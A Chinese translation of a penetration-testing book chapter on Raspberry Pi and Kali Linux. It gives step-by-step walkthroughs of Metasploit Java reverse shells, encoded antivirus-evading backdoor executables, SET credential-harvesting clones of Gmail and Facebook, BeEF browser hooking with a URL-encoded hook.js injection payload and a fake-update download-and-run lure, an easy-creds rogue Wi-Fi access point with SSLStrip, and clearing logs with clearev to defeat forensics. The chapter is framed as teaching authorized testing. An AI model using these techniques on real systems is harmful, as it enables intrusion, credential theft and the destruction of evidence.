Msfcli：这是该框架的命令行方式，用户可以通过该命令行接口调用脚本，发起渗透或攻击。

Msfconsole：这是使用Metasploit的最常规方式，通过一系列上下文驱动的命令提示，Msfconsole提供了对整个框架功能的访问。

Exploits（渗透攻击）： Exploits可以攻破受害者的机器，它又分为主动和被动型攻击。主动型攻击会一直运行到获得系统的命令环境（shell）或攻击过程中出现意外错误为止。在图4-1中，展示了一例主动攻击，攻击会一直进行，直到获得受害者机器的Shell运行环境才会停下来。

图4-1

而被动攻击则不同，它会等受害者的机器先连上Metasploit，Metasploit再执行攻击。主动和被动攻击的区别就是主动攻击中Metasploit会先发起连接，而被动攻击中Metasploit是等着别人连过来。

Payload （攻击载荷）：Metasploit允许攻击者使用独立型（single）、传输器（stager）和传输体（stage）等几种类型的攻击载荷。这些名词是什么意思，以及在什么场合使用，就比较复杂了，已经超出一本树莓派书籍的覆盖范围。建议读者到本节最后提供的Metasploit技术内幕网址自行查阅学习。

Database ：Metasploit内置支持PostgreSQL数据库系统。数据库系统为攻击者提供了攻击主机、网络和漏洞的追踪管理。在Metasploit使用内置数据库是为了记录自己的渗透测试成果，以便后续整理攻击文档和报告。

Meterpreter ：这也许是Metasploit里威力最强大的资源了，可以把它看作在内存里动态加载的攻击载荷。根据被攻击系统的OS类型、漏洞的性质，以及要如何运行这种攻击载荷，Meterpreter为攻击者提供了对受害者机器的全套shell和远程控制功能。

有许多很棒的Metasploit学习书籍和资源。建议阅览Offensive Security公司提供的介绍Metasploit技术内幕的免费网页，地址为http://www.offensive-security.com/metasploit-unleashed/Main_Page 。

再回到树莓派，Kali Linux ARM版Metasploit的部分模块无法正常使用。因此建议仅在特定攻击场合使用Metasploit。例如，假设树莓派已经在内网，希望在内网找到一个可攻击的目标。寻找局域网系统攻击目标的步骤如下所示

1．使用Nmap扫描网络，确定目标。

2．使用Nmap扫描目标机器上有什么漏洞。

3．根据Nmap确认的漏洞点，用Metasploit对识别出的漏洞进一步渗透利用。

4．对可利用的漏洞发起攻击。

如果成功了，就能获得目标系统的控制权了。

图4-2描述了在目标网络里的攻击场景。

图4-2

下面再看看用Metasploit破解局域网络里某个系统的流程。

要启动Metasploit，需要在命令行窗口中输入msfconsole命令 [1] 。树莓派启动Metasploit程序可能要花上几分钟时间。

图4-3为在树莓派上启动Metasploit的情景。

图4-3

使用msfconsole命令进入Metasploit后，会看到一个新的命令行提示符。下面针对目标系统进行一次攻击。在本例中，演示了一种Java攻击。要实现这个攻击，可以输入use exploit/multi/browser/java_jre17_exec命令。

图4-4显示了前面这条命令的执行结果。

图4-4

此时命令提示符变为msf exploit了。然后，通过Metasploit发送一项攻击载荷并派生出一个反向shell。反向shell就是攻击者可以在自己的PC上看到命令提示符并输入命令，但实际上是在远程受害者的目标系统上运行命令。使用set PAYLOAD java/shell/reverse_tcp命令来设置攻击载荷，这时候屏幕上会出现PAYLOAD => java/shell/reverse_tcp（也就是选择的载荷名称），证明设置已生效。

要使攻击生效，攻击者必须在载荷中设置选项。可以输入show options命令，查看当前有哪些选项可用。有些是必须选项，有些则不是，这是由show options显示结果里Required字段是否为yes确定的。所举例的这个攻击载荷实际上只需要一个参数，也就是LHOST参数。LHOST为攻击者的本地IP地址。这是告诉Metasploit，把载荷发送给受害者之后，受害者那端要怎样再连回攻击者。要确保受害者机器上能访问到攻击者的IP地址（LHOST），以便攻击执行成功后，能连接到攻击者。

要设置LHOST参数，输入set LHOST“Kali所在系统的IP”命令，其中“Kali所在系统的IP”就是运行着Kali Linux的树莓派机器的IP地址。可以再一次输入show options命令，确保修改已生效，这时能看到LHOST名称下有一个值了。图4-5把LHOST的值设置为192.168.1.10。

图4-5

最后输入exploit命令，以上述参数执行该攻击载荷。

如果受害者使用的Java确实有此漏洞，就能收到来自受害者机器的反向shell。要测试这个漏洞攻击，可以在受害者的机器上，打开一个Web浏览器，浏览访问运行Kali Linux那台机器上的网站。例如，在本案例中就是访问192.168.1.10。

正常情况下，受害者并不会主动去访问攻击者的机器。当然在实验室环境用这种方式测试攻击是否成功还是可以的。真实环境中，攻击者会在一个复杂网页里偷偷嵌入这个链接，如在正常页面放入隐藏的iFrame中。还有许多攻击是利用远程漏洞，这时攻击者就可以主动发送攻击载荷了。

一旦受害者浏览访问了攻击者那台运行着攻击手段的机器，攻击载荷就会被加载，受害者被攻破，攻击者获得shell权限（命令行运行环境），得以访问受害者的机器。

可以在测试的机器上安装一个有漏洞的旧版Java。可以用于测试的一个版本是Java 1.7 update 6 [2] 。在Oracle的网站上可以下载到各种老版本的Java：http://www.oracle.com/technetwork/java/archive-139210.html

4.2.1　用Metasploit创建自己的载荷

Metasploit的另一个常见用法是创建恶意攻击载荷。在计算机领域，载荷这个词的意思是一堆需要传送的数据。而恶意攻击载荷，就是在传输的数据中，加入一些受害者不想收到的内容，比如后门程序。Metasploit提供了无数的攻击载荷选择，一旦安装了这些恶意载荷，就有可能获得系统的管理员访问权限。

大多数安防产品如防病毒软件或IPS的目标都是检测出恶意攻击载荷。然而，Metasploit自带各种编码方式，可以绕过这些传统的防护手段。编码就是在文件中添加随机数据，使它变得样貌迥异。大多数传统安防产品的做法都是对比已知威胁列表，也就是对比病毒签名，如果威胁不在已知列表中，安防产品就检测不到。编码提供了一种方式使攻击载荷看起来独一无二，不会触发已知签名，从而绕过传统的防护。有些人管这叫“零日（0 day）”漏洞，也就是任何商业产品都没有这种威胁的签名也无法识别出来的漏洞。

下一个攻击里会创建一个载荷，再对它进行编码，使之能绕过传统的安防产品而放到目标系统上。攻击载荷可以通过电子邮件或者USB传播，如果攻击成功地获得基本的系统权限，攻击载荷就可以放进目标系统，再利用提权使攻击者获得该系统的访问权限。

最好先在更强劲的系统上创建攻击载荷，再通过树莓派传输过去，而不是直接在树莓派上创建载荷。

下面介绍如何用Metasploit创建一个攻击载荷并进行编码。

第一步先在命令行终端输入msfconsole以启用Metasploit。1～2分钟后，就会看到Metasploit的介绍页了。

可以使用msfpayload [3] 这个子项来加载攻击载荷。要查看载荷的相关参数，可以使用msfpayload-h查看有哪些可用格式，而执行msfpayload-l则可以查看实际载荷的选项。在例子中，选取了最常见的一个漏洞，叫reverse_tcp载荷，这个载荷是攻击Windows系统的。图4-6显示了如何选择载荷，如何配置监听地址。图4-6中载荷监听在该系统IP地址的4444端口上。

图4-6

Metasploit可以产生各种文件格式的攻击程序。在这个例子中，创建的可执行文件叫important.exe，这可以诱使受害者相信它是某项重要更新。请注意，这里就要用上社工手段了，先给文件起个用户乐于接受的名字，再利用社工手段使它得以被成功安装。要创建important.exe文件，可以在原来使用载荷的命令后面，再跟上X > important.exe参数。图4-7展示了如何创建这个文件。

图4-7

在创建了文件之后，可以在root目录下找到它。困难的一步在于怎样让受害者安装这个文件。如果一切顺利，真的能让Windows用户安装这个程序，那么就获得了用户系统里具有管理员权限的后门程序。这个理念对本章后面提到的其他攻击例子也非常有用。图4-8显示了放在目标计算机上的important.exe文件。

图4-8

4.2.2　包装攻击载荷

另一个隐藏攻击载荷的方法是把它与另一个受信任的程序打包在一起。例如，可以提示受害者的Adobe Reader版本太旧了，需要升级，然后把正常的升级文件和后门程序打包在一起。当受害者安装 .exe升级文件时，升级成功的同时机器上也被埋入了一个恶意后门。

对于有明确目标的社会工程攻击，这一招很管用。在4.4节时再说具体做法，在那个场景里，会诱使用户点击和下载一个经过打包的攻击载荷。

如何包装载荷程序已经超出树莓派渗透测试这本书的范围了。有不少工具如Senna就用于捆绑打包攻击载荷程序。图4-9展示了Senna Spy One的控制面板如何把一个ROOTKIT和Windows计算器可执行文件打包在一起。当用户运行这个文件时，会弹出计算器程序而ROOTKIT有害载荷也会被安装。如有兴趣，可以去研究下Senna或其他类似的打包工具，学习更多的恶意载荷打包方式。

图4-9

4.3　社会工程

社会工程攻击的目标是通过误导或欺骗的手段，诱使受害者泄露自己的信息。攻击者往往会伪造自己的身份，假扮成一个受信任的机构或者受害者的亲人，以获得受害者的信任。一旦用户受蒙骗上钩，可能就会交出自己的密码、账号或其他有价值的信息。许多知名黑客都有过仅是客气一问，就套出各种有价值的信息的故事。

Kali Linux包含了许多工具，可协助进行社会工程攻击；然而，最成功的攻击都是基于对攻击对象的充分了解并滥用他们的信任。例如，在像LinkedIn或者Facebook这样的社交媒体资源利用虚假账号，就能获得某些敏感的用户信息，完全不需要高深的技术就能实现。另一种做法是打电话给某人，假装是管理员，或者给目标用户发送电子邮件，假称自己是很久没联系的亲戚。

可以围观本书作者利用社交媒体执行渗透测试的一项尝试，只要在搜索引擎里搜Emily Williams Social Engineering，或者访问http://www.thesecurityblogger.com/?p=1903 和http://www.pcworld.com/article/2059940/fake-social-media-id-duped-securityaware-it-guys.html 就能看到这个社工实验 [4] 。

在本章中，主要讨论最常用的社交攻击工具也就是SET（Social- Engineer Toolkit，社会工程学套装）。SET可以用在树莓派里，但它在更强劲的系统里运行会比较正常可靠。让树莓派发挥最佳功用的做法，是把它用于目标网络的信息采集勘探，然后再到远程Web服务器上进行钓鱼，创建一个成功的社会工程攻击。

下面在介绍SET的同时，也会介绍另一款很受欢迎的社工软件BeEF，主要用于攻击浏览器。

4.3.1　社会工程工具套装

社会工程学套装（以下简称SET）由TrustSec的David Kennedy开发，默认Kali Linux安装了这个程序 [5] 。它通常用于复制翻版大家信任的站点如谷歌、Facebook和Twitter，以吸引受害者来访问，再发动针对受害者的攻击。受害者并不知道正在访问的是假冒的站点，攻击者就可以借此收集用户的密码，甚至可能注入一个命令shell，以获得受害者系统的完整访问权限。安全专业人士可以用它来演示为什么信任链也是漏洞的一环，也就是普通用户并不会留意他们输入的敏感信息，只要网站看起来像那么回事。

虽然可以在树莓派上执行SET，然而受害者访问假冒网站的体验，会受限于树莓派的吞吐量。测试时，被攻击者有时候需要等很长时间才会跳转到真正的网站，这有可能导致他们怀疑自己遭受了攻击。因此，建议针对特定用户使用SET，而不是盲目地攻击一批用户，这样才能使树莓派的性能保持良好。

在以下例子里，设置树莓派来克隆Gmail。如图4-10所示，目的是使受害者相信在访问的确实自己的Gmail账号，在登录之后会将其重定向到真正的Gmail站点，但登录信息已经被保存下来了。关键是先让受害者访问SET服务器，当然这一步就要发挥社工能力了。例如，可以用电子邮件发送一个链接，在社交媒体上发布一篇帖子，或使DNS中毒，把域名重定向到攻击用的服务器。攻击者再远程访问树莓派，把偷到的身份信息取回来，完成最终的渗透测试报告。

图4-10

下面介绍怎样在树莓派上用SET。

要启动SET，请在命令行窗口输入setoolkit，程序会提示是否启用提前预览库（bleeding-edge repos）。提前预览库是Kali里的一项新功能，包括一些受欢迎工具如SET的每日编译打包版。最好是启用提前预览库，并在实际渗透之前，先提前测试预览库，因为可能会有小的差异。图4-11为启用提前预览库。

图4-11

提前预览版是获得常用工具最新版本的很不错的做法，然而，有经验的安全专家会发现这些工具常常会有变更，某些功能可能变得无法使用。最好的方式还是在实战使用某工具之前禁用升级，除非有时间测试新发布的更新版本。

SET启动后，需要先同意授权书和软件程序条款，输入yes。这个时候就能看到SET的主菜单了，如图4-12所示。

图4-12

SET是基于菜单的攻击工具，与其他工具不同，它并不使用命令行。这是由社交工程攻击的特质决定的，攻击的形态各异，需要多重渐进的步骤来完成设置。当部署这类攻击时，命令行形式的工具可能会令人非常困惑。

在本例中，选择1）Social - Engineering Attacks。

图4-13所示为在这项菜单下的内容。

图4-13

接下来，选择2）Website Attack Vectors（网站攻击因子），这会带出各种不同选项。在这个测试场景里，尝试一个简单的身份收集攻击，选择3）Credential Harvester Attack Method，如图4-14所示。

图4-14

当选择了Credential Harvester Attack Method选项后，可以再选择使用已预存的模板还是克隆一个网站。其实，大多数模板无法骗到普通用户，所以最好还是克隆一个真实的站点吧。另外，网站是会变化的，因此克隆一个站点可以获得最新的版本网站，更符合受害者印象中的该网站样子。

选择了恰当的选项后，就会提示输入SET要监听哪个网卡的IP地址。如果有多块网卡，需要输入和互联网端相连的那块网卡的IP地址，否则受害者将无法访问到树莓派服务器。

如果选择了Credential Harvester Attack Method下面的2）Site Cloner，之后就需要输入目标克隆网站的完整URL，如https://www.facebook.com 。如果选择了网站模板，就需要从提供的列表里，选出已有的模板。图4-15展示了部分可用模板样例。注意，这些模板都是非常基础和过时的，也就是说看着可能和正版的网站并不一样。这也是为什么在真实的渗透测试里，应该选择克隆站点。

图4-15

图4-16中的菜单提供了各种类型的攻击。建议将每一种都测试一下，根据各人喜好和成功率做选择。其中某些攻击需要用到中间人攻击，请参见第3章中间人攻击部分的内容。

图4-16

在本例中，选择了3）Credential Harvester Attack Method。这种攻击会部署一个假站点，等着受害者登录进来。当受害者看到登录页面并输入自己的登录信息后，受害者将会被重定向到真正的网站去，却不知道所输入的身份信息已经被攻击者窃取，可供日后利用。

图4-17展示了克隆的谷歌登录界面时的情况。

图4-17

这种攻击的难点在于要蒙骗受害者，使其相信所访问的是真实网页。通常的办法是给受害者发送包含假链接的邮件、在社交媒体网站散布带有钓鱼站点链接的帖子、实施DNS污染等。SET里的许多工具和应用能简化这些任务，但这些内容已超出本书的范围，请自行到SET的网站（https://www.trustedsec.com/social-engineer-toolkit/ ）了解学习这一工具的更多信息。

最佳做法是在远程服务器上执行SET攻击而非在树莓派上执行，因为要执行这种攻击需要一定的处理能力。对最终用户来说，攻击是一样的，无论假冒网站是在树莓派还是在外部系统上，其实就是克隆了一个云服务。

4.4　用BeEF钓鱼

Browser Exploitation Framework（浏览器攻击框架，BeEF）是一款集合渗透测试、蜜罐和社会工程的工具。与SET一样，BeEF上也可以运行一个恶意的网站服务。但是，BeEF要找的是客户浏览器端的漏洞。当受害者连上BeEF服务器时，BeEF会尝试在用户系统上挂钩子并检查受害者的浏览器是否可以攻击利用。基于找到的漏洞情况，BeEF提供了一系列可以利用的命令模块，如偷偷截屏或发出哔的声音。当然被注入的系统 [6] 只有在线时才能访问到。然而，只要注入成功，被渗透的系统和互联网建立连接后，BeEF就能知道并能继续执行命令。关于BeEF，可以浏览以下网站http://beefproject.com/ 获得更详细的信息。

我在获得授权的情况下，已经用BeEF成功完成一些渗透测试，因为渗透成功时无需修改终端系统，所以也就较少会惊扰到客户端，渗透测试的后续清理也比较少。

在这个用例中，执行的攻击也类似上文的SET；但是，这个攻击是针对受害者浏览器的，而非引诱用户登录某个站点。出于这个目的，也需要克隆一个已有的站点或开发一套令人信服的模板，这样攻击者就意识不到已经受到了攻击。BeEF最大的好处是只要受害者访问过一次有害站点，系统就会被注入。一旦被注入，即使受害者已经离开站点甚至已下线，只要再次上线，仍然可以被攻击。

灵活运用简单的社工技巧，如开设一个虚构的度假电子优惠卡并发布到社交媒体站点上，或者通过电子邮件发送包含有害站点的链接，都能非常有效地吸引受害者访问BeEF服务器。很容易构建一个简单且以假乱真的度假优惠卡站点，只要放上几张图片，用粗体突出一下宣传口号就行了。

图4-18展示了如何在内网用树莓派运行BeEF服务，注入本地用户系统。为了让用户访问BeEF服务器，这个例子里先向受害者发送了一封带有虚构的度假优惠卡链接的电子邮件，诱使其访问BeEF所在的服务器。一旦受害者点击了链接，会看到度假优惠卡并被BeEF注入。这样，当被注入的受害者联网时，攻击者就可以从树莓派远程执行命令了。

图4-18

下面介绍怎样创建这个攻击场景。

要启动BeEF [7] ，先执行cd /usr/share/beef-xss进入BeEF所在目录，然后如图4-19所示运行名为beef的脚本。

图4-19

一旦BeEF脚本启动后，就可以通过Web方式访问BeEF控制面板，打开浏览器并访问http://在树莓派上的Kali系统IP地址：3000/ui/panel。图4-20显示了BeEF的主登录界面。

图4-20

默认用户名和密码都是beef。

与其他社工攻击类似，需要先诱使受害者访问要执行注入的页面。BeEF也自带了一些基本的陷阱演示页面，然而，与SET类似，这些页面都很简单，很可能糊弄不了普通用户。读者可以测试一下，访问http://在树莓派上的Kali系统IP地址:3000/demos/butcher/index.html，就可以看到这些基础页面了。

在真实的世界里，需要编辑这些演示页面，使其看起来更像真的。你要注入的用户无需一直停留在该页面也能被控制；但如果这些页面看起来就很可疑，用户可能会举报你的站点。另外，还可以在页面里填加一段包含页面劫持功能的JavaScript模板。

一旦用户的系统被注入了，攻击者就可以在BeEF的控制面板中看到受害者的浏览器，还可以发送各种的命令。在某些场景中，可以给用户发送一些复杂和有价值的攻击。在其他的场景中，也许仅能获得客户的一些基本信息。可以用哪些命令取决于受害者正在用的浏览器的类型，以及是否及时升级过浏览器的安全补丁。

图4-21显示了Linux操作系统中可以利用的注入类型。

图4-21

在Module Tree的树状列表中，就是可利用的攻击手段，可以用于对受害者的浏览器进行注入。

BeEF的每条命令都有对应的风险等级，定义了这条命令可以成功执行的概率有多大，以及它的恶意行为会惊扰到用户的可能性有多大。强烈建议提前先在实验室环境里攻击类似目标用户环境的效果。测试时发现，很多攻击已无法使用，与宣传里的不太一样。

在一个有漏洞的浏览器使命令获得执行的方法，是诱使用户点击一个包含JavaScript模板的页面。因此，以图4-22所示的例子中，设计了一个以前学校里常见到的蹦蹦跳跳大头针，询问用户是否需要升级浏览器。升级文件包中会包含吻合该浏览器的安装文件但其中也打包了后门程序。创建攻击载荷、对它们进行编码以绕过安全防护的检查、和信任的可执行文件打包等内容，在本章前面的Metasploit 部分有介绍。

图4-22

发起攻击的第一步是到BeEF管理控制台，打开Command标签，如图4-23所示。

图4-23

在这里再点击Social Engineering文件夹，找到Clippy攻击项，如图4-24所示。

图4-24

请注意，Clippy攻击已经内置了默认设置。通常，会下载一个JavaScript模板和一个图片文件，用作内部站点的页面。访问时还会下载和运行一个EXE文件。在以下的例子中，下载和运行了putty.exe。请注意，执行代码的命令如图4-25所示，但这里的文本框内容超出了显示窗口的宽度。请按照自己的具体需求写任意攻击。

图4-25

可以设置Clippy在下载前后各显示一段信息。下载前默认的显示信息为：您的浏览器已过时。您希望升级吗？下载后显示：感谢升级！期待给您带来更快速更安全的浏览体验!

由于这项攻击是针对浏览器的，因此与原版在Microsoft Word中出现的大头针动画不同，这个攻击是跨操作系统平台的。任何支持JavaScript的浏览器都可以执行这个攻击。在图4-26中，展示了在Mac OS X计算机上实施这款攻击的场景，这个操作系统上并没有Microsoft Office。

图4-26

经常有人关心能否不通过BeEF的演示页面，而直接“注入”受害者的浏览器。利用以下JavaScript代码就可以在任意网页上对浏览器进行注入:

%20(function%20()%20{%20var%20url%20=%20%27http:%2f%2f192.168.135.129:3000%2fhook.js%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20% 27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body. appendChild(bf);}})();

在怎样运行JavaScript命令上，可以多多发挥创意。可以让它自动加载，也可以嵌入在广告里，或者各种有创意的方式。只要将上述JavaScript中的IP地址变量替换为你的BeEF服务器地址即可。大家一定注意到在上一个例子中，服务器地址是192.168.135.129，你需要把这个地址替换成自己的BeEF服务器地址。最后是确保受害者的机器能访问到BeEF服务器，否则攻击没法成功。

4.5　恶意接入蜜罐

蜜罐是计算机术语，是一种用于检测、转移和误导尝试攻击计算机系统或网络的陷阱。典型的蜜罐是一台计算机、一段数据或一个看起来蛮像真实网络的某个网段，即使它表面上的隔离或监控也做得很到位。大多数蜜罐会表现为漏洞百出，似乎也有不少有价值的信息，籍此把攻击者从真正的目标引开。

通常有两种形式的蜜罐。最经常使用的是生产环境型蜜罐，它往往用作网络的防护策略之一。生产环境蜜罐通常放在正式网络中，引诱已经突破其他防护的黑客以它为目标，所以这种生产环境里的蜜罐可视为防范系统被攻破后的最后防线了。

另一种形式的蜜罐是纯监控型的，通常放在网络中用于研究经过它的数据。这种形式有点类似中间人攻击，不过蜜罐在里面通常是把自己伪装成一个可信的源，让受害者连上来。一个例子是创建一个假的接入点，让受害者相信这是个可用的网络连接，当受害者使用蜜罐时，攻击者就可以监控流量包括捕获登录的身份信息，这种攻击形式称为恶意接入蜜罐，这种方式由监控型的蜜罐搭配上虚假无线接入点用以诱导访问蜜罐来构成。当然，还有另外一些类型的蜜罐，如高交互性和低交互性的蜜罐、蜜罐客户端等。但大多数这些系统都超出了树莓派的能力。

恶意接入蜜罐在我们看来是最适合用树莓派实现的，因为我们的目标是捕获数据而不是攻破网络防护，另外利用树莓派在移动性上的外形优势，也正适合隐藏这种攻击。

在以下的例子中，创建了一个恶意接入蜜罐，用它作恶意无线接入点，目标是捕获受害者通过它连上网时发送的敏感信息。本例中，把eth0有线网卡作为连接互联网端，用另外一个USB无线网卡来做恶意无线接入服务。当然这种攻击也可以改为互联网和恶意无线接口端都使用无线网络，那样就需要两个USB无线网卡来实现了。只要在攻击之前，先设置好VPN接入，这样攻击者就可以通过VPN从任意地方访问树莓派上的蜜罐了。图4-27所示为要搭建的系统。

图4-27

下面介绍这套颇受欢迎的名叫easy-creds的应用，并用它创建一个树莓派恶意接入蜜罐。

4.5.1　easy-creds

easy-creds本身就是个Bash脚本，它通过Ettercap和其他工具获得使用身份。Ettercap已经在第3章讨论过了。然而，easy-creds把中间人攻击更往前走了一步，提供了各种工具用于创建一个监控型蜜罐。easy-creds菜单型的工具，提供了ARP欺骗、DHCP欺骗、单向ARP欺骗和创建虚假接入点（AP）等功能。

easy-creds并未预装在树莓派中，需要从以下地址下载：http://sourceforge.net/projects/easy-creds/files/latest/download 。

下载完成后，执行cd Downloads，切换到下载目录（通常是Downloads目录），如图4-28所示。

图4-28

执行tar -zxvf easy-* 命令解压刚才下载的安装文件。这会创建一个新的解压目录，可以执行ls命令查看该目录名称。再执行cd命令进入解压目录，最后输入ls命令，就能看到安装脚本了。当然，还需要把安装脚本变成可执行文件，办法是执行chmod　+x installer.sh命令，或者chmod 755 installer.sh。图4-29显示了上述步骤的执行效果。

图4-29

把安装脚本变成可执行后，输入./installer.sh命令安装easy-creds。在执行了easy-creds的安装脚本后，会看到如图4-30所示的安装操作系统选择菜单。

图4-30

因为是在Kali Linux上安装，所以从菜单里选择1.Debian/Ubuntu和衍生系统。

接下来需要跟着提示完成安装。安装完成后，就可以输入./easy-creds.sh命令来启动easy-creds。图4-31显示了安装结束后，运行easy-creds的方式。

图4-31

如上执行了.sh文件后，就会在图4-32中看到easy-creds的菜单项。在不同的版本中，easy-creds会经常轻微地调整菜单的顺序，所以读者所用的版本可能与图4-32不完全相同。本例中，选择1，Prerequisites & Configurations for configurations。

图4-32

设置蜜罐的第一步是为要攻击的受害者分发可用的IP地址。要做到这点，得安装一个DHCP服务器。如果在安装DHCP服务器时碰到错误，那很可能是在做其他练习或安装其他工具时已经顺便装过DHCP服务器了。

在图4-33所示的配置菜单项中，选择3. Install dhcp server来安装DHCP服务器。

图4-33

装好DHCP服务器后，需要选择图4-33中的选项5. Add tunnel interface（添加通道接口）。

然后，在配置文件内容里往下翻到设置DHCP服务器的接口配置项。这里需要手工设置，如果无线网络使用的是wlan0这个网卡，则在接口配置里输入wlan0，如图4-34所示。

图4-34

一旦完成添加无线网卡的设置后，再选择回退到前面的菜单项。也就是选择图4-33菜单里的9. Previous Menu。现在，设置一个虚假接入点（FakeAP）攻击，选择3. FakeAP Attacks，如图4-35所示。

图4-35

接下来还有几个选项。在这个例子中，选择图4-36中的FakeAP Attack Static选项，也就是第一项。

图4-36

接下来会看到弹出提示，问是否需要包含sidejacking攻击（一种会话劫持攻击）。Sidejacking的劫持行为，是根据已登录的Web会话，使用代表受害者身份的信息去访问特定服务器。如果有人访问蜜罐并登录这些会话对应的网站，这种劫持就很有用了。因此，例子中这个选项选择Yes。

下一步，会看到提示要选择连接互联网端的网卡。大多数情况下这块网卡都是eth0，基本的设计思路就是树莓派的wlan0接口提供恶意无线接入，再把流量通过eth0的有线网口转往互联网。要达到这个效果，当然也可以用两块USB无线网卡来做，一块连接互联网，另一块做恶意无线接入。这种攻击方式的问题是可信的和假的无线接入点都会对外广播自己的信息，除非真的无线网络关闭了对外广播，如使用tether模式的手机。这里还是只讨论使用有线网卡连接互联网端的方式。

在选择了互联网接口后，会提示填入一些其他细节，如需要把日志文件保存在哪里，以及DHCP地址空间。填完以上内容，也完成了基础的配置。

现在就有一个可用的恶意无线蜜罐了，可以对外广播以吸引用户加入。如果客户接入网络并使用明文文本协议，信息就会被捕获并展示在easy-creds里。如果用户尝试访问HTTPS站点，easy-creds也会尝试使用SSLStrip把用户重定向到非加密网页。在第3章中介绍过SSLStrip，图4-37展现了当用户使用恶意无线网络时，蜜罐捕获到的受害者登录Facebook时的身份信息。

图4-37

现在，树莓派已经是一个功能完整的恶意接入蜜罐，可以把捕获的密码保存到指定的日志文件中。读者可以在最后撰写渗透测试报告时，再远程访问这个日志。如需获取更多关于easy-creds的信息，请访问 http://sourceforge.net/projects/easy-creds/ 。

总结

本章讨论的重点是在入侵内网后，怎样从树莓派发起有效的攻击。主题包括以各种形式的攻击载荷、社工技术、浏览器攻击和部署恶意接入蜜罐来突破系统，通过漏洞获得系统的控制权或偷取到用户的身份凭证。在这些领域，探讨了用树莓派执行基本渗透测试的知识。但显然学海无涯，还有许多未覆盖到的知识点。本章的内容仅是用树莓派做授权渗透测试的基本介绍，让读者有个总体概念。

下一章介绍做完渗透测试之后还要做什么。内容包括如何清理日志和消除痕迹，要尽量做到神不知鬼不觉，以避免留下取证证据。也会谈到如何收集数据，以撰写出专业的渗透测试报告，在交付报告时展示自己的服务价值。

[1] 　译者注：默认树莓派版本的Kali也没有安装Metasploit，如果输入msfconsole报错，可执行apt-get install metasploit-framework先安装所需程序。

[2] 　译者注：原文这里写着1.0.7_6，实在是觉得作者写错了！

[3] 　译者注：从2015年6月起，msf就不再使用msfpayload这个命令了，而改用msfvenom这个命令，所以后文中提到的所有msfpayload命令，实际上都需要改为msfvenom。

[4] 　译者注：两位作者通过社交媒体，创造了一位虚拟的女性Emily Williams，并把她塑造成某企业的IT支持人员，在社交网络上，不少人把她加为好友，并点评了她的能力。在人们逐渐信任她之后，“她”对目标公司的友邻发出了钓鱼性质的邮件，内含一张有危害的图片。最后成功入侵目标公司的内网，得到VPN密码，还给Emily Williams创建了那个公司的邮箱。

[5] 　译者注：现在Kali Linux ARM版里并没有这个套装。需要的话可以到https://github.com/trustedsec/social-engineer-toolkit/releases 下载最新版本，解压后执行python setup.py安装。

[6] 　译者注：原文是hook，没有特别好的中文表达，就用了“注入”。

[7] 　译者注：树莓派版Kali默认没有BeEF这个程序，需要到它的官方站点http://beefproject.com/ 下载安装包，解压后执行./install并根据后续提示安装。

第5章　结束渗透测试的工作

如果在自己的实验环境里，用树莓派测试内网渗透，那确实很好玩。但有些情况下，可能要在真实环境中发挥它的作用。这个时候，把工作做得有始有终就非常关键了。对提供渗透测试服务的人来说，必须展示足够的证据，证明找到的漏洞，如果做不到，将来所做的渗透测试价值就堪忧了。这意味着一切都要有文档，不能因为渗透服务而遗留下各种问题。作为攻击者来说，还需要尽量抹除自己的痕迹，这样相关的机构就没法再通过一些取证手段反查到攻击者了。

渗透测试作为一种给网络系统挑毛病的付费服务，显然犯了类似说别人孩子长得丑的忌，客户对所找出的问题可能会反跳。所以要对整个过程做好文档记录，保证漏洞是可重复的，确保网络状态与刚开始准备做渗透测试时是一致的。文档需要对技术和非技术人员分别定制裁剪，因为这两种人都可能对是否购买这项服务有决定权。另外，也务必多留意渗透任务开始时的系统状态，包括客户提供的各种信息。还可以利用白盒、黑盒和灰盒测试等手段，深入了解渗透测试初始阶段的用户环境。

结束渗透测试时，格外多关注在执行任务时留下的痕迹是另一个要点。很多攻击工具都会对系统功能有影响，甚至可能造成宕机，绝大多数客户可不会愿意碰到这种事情。上述及其他类型的问题，可能会惊动系统管理员调整自己的安全策略。这会使得要完成渗透比原来更加艰难，而且这就和真正的渗透测试模拟有差异了，真正的攻击者不会收尾这么不干净并被发现。管理员可能会在漏洞被上报之前修复各种已知的漏洞，这会使得最后的报告的价值降低。所以除非服务的提供方式是非常明确的，也就是涉及的各方都知道要对特定的系统进行渗透服务，否则，做的所有事情希望对目标应该是隐蔽的。

本章讲解了以下内容：

掩盖痕迹；

清除日志；

掩盖网络痕迹；

ProxyChain代理链；

把树莓派重置到出厂设置状态；

远程销毁Kali Linux；

整理报告；

使用截图；

压缩文件。

在执行任何渗透测试任务前，必须获得相关方面的同意。双方同意后应以书面形式确认，并由法律代表复核并以书面形式签字为证，以规避在授权的渗透测试中因为负面结果而带来的风险。如果你是个没有获得授权的黑客，那请自求多福，千万别被抓到。

5.1　掩盖痕迹

对渗透测试人员或网络犯罪者来说，最后马脚败露的关键原因往往就是攻进系统后没有清理干净自己的痕迹。可以取证的证据包括数字网络痕迹（IP地址、在网络出入口上的网络流量类型等，不一而足），以及被攻击终端上的各种日志。使用的工具也会留下证据，包括从树莓派发起某些恶意行为的工具也会如此。比如，在树莓派上执行more～/.bash_history命令，就能看到曾经用过的历史命令列表。

对树莓派黑客来说，好消息是不用考虑ROM这样的存储设备，因为树莓派唯一的存储方式就是microSD卡，这也意味着攻击者重写一下microSD卡就可以毁灭树莓派上的证据。在这么做之前，从攻破系统开始到最后重新创建树莓派的新映像，一步步看下清理的过程。

要达到这个目的，可以使用在第1章介绍过的格式化SD卡工具。也可以根据第1章里介绍的步骤，在执行渗透之前，先备份系统的映像，在完成任务后，再把树莓派上的系统恢复成之前的样子，这样之前的操作就被彻底掩藏起来了。

5.2　清除日志

要执行的第一步，就是清理所入侵系统的事件日志，用以掩藏操作痕迹。如果入侵的是Windows系统，Kali Linux在Metasploit里有个叫clearev的工具可以自动实现这个功能。clearev可以访问Windows系统并清除日志。对系统特别关注的管理员，有可能会留意到日志被清理过这一变化。然而，大部分的管理员都不会注意到其中的差异。另外，因为日志被清除了，最多也不过是管理员知道自己的系统被入侵过，而入侵期间做过什么的记录，也随着日志消失了。

clearev是Metasploit的一个组成部分。如果用Meterpreter入侵到Windows系统了，可以使用clearev清理日志，方法是在meterpreter > 提示后输入clearev。无需其他配置即可运行，也就是一旦执行，日志就全被删除了。

